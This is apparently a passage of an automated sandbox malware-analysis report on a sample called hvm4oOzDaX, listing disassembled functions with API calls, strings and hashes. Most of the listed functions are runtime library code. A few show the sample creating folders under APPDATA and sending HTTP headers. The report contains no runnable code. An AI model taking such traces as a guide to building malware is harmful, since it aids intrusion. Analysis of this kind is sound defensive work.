CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409066), ref: 004090F3
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 0040910F
CloseHandle.KERNEL32(00000000,?,?,00409066), ref: 0040911F

Strings

kernel32.dll, xrefs: 004090AB
WakeAllConditionVariable, xrefs: 004090C8
SleepConditionVariableCS, xrefs: 004090BC
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040909A

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: acc3deda13f420712ce33b53dd37b90dad73ad81c8ab949137041f64949c0d3f
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 410196B1F40322ABE7202B75AD0DB963B989B4CB01B154036FD15E2295D77CCC01866D

Function 04D065E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D0661C
___free_lconv_mon.LIBCMT ref: 04D06627

Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06300
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06312
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06324
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06336
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06348
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D0635A
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D0636C
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D0637E
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06390
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063A2
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063B4
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063C6
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063D8

_free.LIBCMT ref: 04D0663E
_free.LIBCMT ref: 04D06653
_free.LIBCMT ref: 04D0665E
_free.LIBCMT ref: 04D06680
_free.LIBCMT ref: 04D06693
_free.LIBCMT ref: 04D066A1
_free.LIBCMT ref: 04D066AC
_free.LIBCMT ref: 04D066E4
_free.LIBCMT ref: 04D066EB
_free.LIBCMT ref: 04D06708
_free.LIBCMT ref: 04D06720

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: 5df4256883318a2fe2d83c5e8559d2c5407becca14d74e488c561f6fdef36783
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: 2D313731700601ABEB22AF39E844B5A77E9FF00314F54C86AE159E71D1DE76F8A18B20

Function 004171E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417227

Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F00
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F12
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F24
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F36
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F48
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F5A
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F6C
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F7E
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F90
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FA2
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FB4
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FC6
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FD8

_free.LIBCMT ref: 0041721C

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041723E
_free.LIBCMT ref: 00417253
_free.LIBCMT ref: 0041725E
_free.LIBCMT ref: 00417280
_free.LIBCMT ref: 00417293
_free.LIBCMT ref: 004172A1
_free.LIBCMT ref: 004172AC
_free.LIBCMT ref: 004172E4
_free.LIBCMT ref: 004172EB
_free.LIBCMT ref: 00417308
_free.LIBCMT ref: 00417320

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction ID: edf7faae9d3bf0885fb7c5c7e3fb72ef0fb286978f56b7ec46c8a8d77fdb3eda
Opcode Fuzzy Hash: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction Fuzzy Hash: A1313D31608204ABEB21AB7AD845BD777F4AF41354F24885BF559D7261EE38ECC1C628

Function 1000A001 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 1000A045

Part of subcall function 1000C420: _free.LIBCMT ref: 1000C43D
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C44F
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C461
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C473
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C485
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C497
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4A9
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4BB
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4CD
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4DF
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4F1
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C503
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C515

_free.LIBCMT ref: 1000A03A

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000A05C
_free.LIBCMT ref: 1000A071
_free.LIBCMT ref: 1000A07C
_free.LIBCMT ref: 1000A09E
_free.LIBCMT ref: 1000A0B1
_free.LIBCMT ref: 1000A0BF
_free.LIBCMT ref: 1000A0CA
_free.LIBCMT ref: 1000A102
_free.LIBCMT ref: 1000A109
_free.LIBCMT ref: 1000A126
_free.LIBCMT ref: 1000A13E

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4f6d344103cf7811bd09b71d21c977f492913705ec11a3a18dac91d66e09e7eb
Instruction ID: 0af802e5104cca544d2385e0ca1ca05a391064d886f9d3a5cb5d526743884836
Opcode Fuzzy Hash: 4f6d344103cf7811bd09b71d21c977f492913705ec11a3a18dac91d66e09e7eb
Instruction Fuzzy Hash: 24315B31A002059BFB20DA34DC41B8A77E9FB423E0F114519F449E719ADE79FE908761

Function 04B6744A Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 04B6748E

Part of subcall function 04B6714A: _free.LIBCMT ref: 04B67167
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B67179
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6718B
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6719D
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671AF
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671C1
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671D3
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671E5
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B671F7
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B67209
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6721B
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6722D
Part of subcall function 04B6714A: _free.LIBCMT ref: 04B6723F

_free.LIBCMT ref: 04B67483

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B674A5
_free.LIBCMT ref: 04B674BA
_free.LIBCMT ref: 04B674C5
_free.LIBCMT ref: 04B674E7
_free.LIBCMT ref: 04B674FA
_free.LIBCMT ref: 04B67508
_free.LIBCMT ref: 04B67513
_free.LIBCMT ref: 04B6754B
_free.LIBCMT ref: 04B67552
_free.LIBCMT ref: 04B6756F
_free.LIBCMT ref: 04B67587

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: a49ac5cddb3af3ba052fe7e3f0a87cd181272b82a2030429cef212a0fe845d49
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: E6315E75600705AFEB25AA7CD848B5A77E9FF00318F1448DAE55AD7190DF38F9809B20

Function 04CFA4DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04CFA5D8
type_info::operator==.LIBVCRUNTIME ref: 04CFA5FA
___TypeMatch.LIBVCRUNTIME ref: 04CFA709
IsInExceptionSpec.LIBVCRUNTIME ref: 04CFA7DB
_UnwindNestedFrames.LIBCMT ref: 04CFA85F
CallUnexpected.LIBVCRUNTIME ref: 04CFA87A

Strings

csm, xrefs: 04CFA585
csm, xrefs: 04CFA631
csm, xrefs: 04CFA518

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: 1d886f11738a973bc4963baa765cc618aaf29c975ace3e3ce197e2408c4094cc
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 33B1AD71800209DFDF59DF94CC809AEFBB6BF04314B11805AEA196B211D37AFA11DF91

Function 0040B0DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B1D8
type_info::operator==.LIBVCRUNTIME ref: 0040B1FA
___TypeMatch.LIBVCRUNTIME ref: 0040B309
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B3DB
_UnwindNestedFrames.LIBCMT ref: 0040B45F
CallUnexpected.LIBVCRUNTIME ref: 0040B47A

Strings

csm, xrefs: 0040B118
csm, xrefs: 0040B185
csm, xrefs: 0040B231

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: 3d06a1d46c9e927f581abf88e740a03f69e3fad8364d4cdf02b7d05f470413ac
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: DAB15471800209EFCF29DFA5C8819AEB7B5FF14314B14456BE8117B692D338DA61CBDA

Function 04B5B342 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04B5B43F
type_info::operator==.LIBVCRUNTIME ref: 04B5B461
___TypeMatch.LIBVCRUNTIME ref: 04B5B570
IsInExceptionSpec.LIBVCRUNTIME ref: 04B5B642
_UnwindNestedFrames.LIBCMT ref: 04B5B6C6
CallUnexpected.LIBVCRUNTIME ref: 04B5B6E1

Strings

csm, xrefs: 04B5B3EC
csm, xrefs: 04B5B37F
csm, xrefs: 04B5B498

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: c31e20d1355836f285d9491e8ffad5959cf91f3a29fe7581a68731436262d44c
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 31B12771C04209ABDF29DFA8D880AAEFBB5EF08314B144599EC156B261D731FA51CFA1

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

APPDATA, xrefs: 10001D3F
TMPDIR, xrefs: 10001E24

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 04D004E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D004FB
_free.LIBCMT ref: 04D00507
_free.LIBCMT ref: 04D00512
_free.LIBCMT ref: 04D0051D
_free.LIBCMT ref: 04D00528
_free.LIBCMT ref: 04D00533
_free.LIBCMT ref: 04D0053E
_free.LIBCMT ref: 04D00549
_free.LIBCMT ref: 04D00554
_free.LIBCMT ref: 04D00562

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: dd69b49a0ef58960c3fe2e0ca1513683c19ea7e9878b580f0b6b2268387d8ef6
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: C621AD76A00108BFDB42EF94D840EDD7BB5FF08244F00856AF615AB161DB31E645CB90

Function 004110E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004110FB

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00411107
_free.LIBCMT ref: 00411112
_free.LIBCMT ref: 0041111D
_free.LIBCMT ref: 00411128
_free.LIBCMT ref: 00411133
_free.LIBCMT ref: 0041113E
_free.LIBCMT ref: 00411149
_free.LIBCMT ref: 00411154
_free.LIBCMT ref: 00411162

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction ID: 5835e015de09c4cc1f53331febaa62aeb6779b48f58b4a69f4cd00ff2e5db2ca
Opcode Fuzzy Hash: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction Fuzzy Hash: 3D219876900108AFCB41EF95C881DDE7FB9BF48344B0445ABB6199B121EB75DA84CB84

Function 10006D58 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10006D6E

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 10006D7A
_free.LIBCMT ref: 10006D85
_free.LIBCMT ref: 10006D90
_free.LIBCMT ref: 10006D9B
_free.LIBCMT ref: 10006DA6
_free.LIBCMT ref: 10006DB1
_free.LIBCMT ref: 10006DBC
_free.LIBCMT ref: 10006DC7
_free.LIBCMT ref: 10006DD5

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8b6844ad3729e3fcad320fbe5a6c795a3d07021f3fe8183e596603b455261e22
Instruction ID: b25e74a844c2162c16b878e0af7aba0ae7dfb07406db983acad16b8670962f51
Opcode Fuzzy Hash: 8b6844ad3729e3fcad320fbe5a6c795a3d07021f3fe8183e596603b455261e22
Instruction Fuzzy Hash: B121EB7AA00108AFDB01DF94CC81CDD7BB9FF48290F4041A6F509AB265DB35EB45CB91

Function 04B6134C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B61362

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B6136E
_free.LIBCMT ref: 04B61379
_free.LIBCMT ref: 04B61384
_free.LIBCMT ref: 04B6138F
_free.LIBCMT ref: 04B6139A
_free.LIBCMT ref: 04B613A5
_free.LIBCMT ref: 04B613B0
_free.LIBCMT ref: 04B613BB
_free.LIBCMT ref: 04B613C9

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: ac5a78294abe88eea20ff746520f64aeb13d8464f4fbc3c2ee014404748e9562
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: 7221967A90011CFFDB45EFA9D880DDE7FB9BF08344B0091A6E6169B121DB35EA54DB80

Function 0041A609 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 0041A622

Strings

acos, xrefs: 0041A758
exp, xrefs: 0041A6A1, 0041A706
log10, xrefs: 0041A664, 0041A673
sqrt, xrefs: 0041A761
asin, xrefs: 0041A74F
pow, xrefs: 0041A6C0, 0041A76A, 0041A7B7
log, xrefs: 0041A67F, 0041A68E

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction ID: 98f7bf46ea2d04c7b06ac9836e821450726948aa73f1de9436264de5739e925b
Opcode Fuzzy Hash: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction Fuzzy Hash: 5651ACB490121ACBDF109FA8E94C1EEBBB0FB05300F554047D4A1A62A5C77CCAF68B5E

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 1000416E
csm, xrefs: 10004287
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 10008F36 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 10008F60
_free.LIBCMT ref: 10009039
_free.LIBCMT ref: 10009066

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

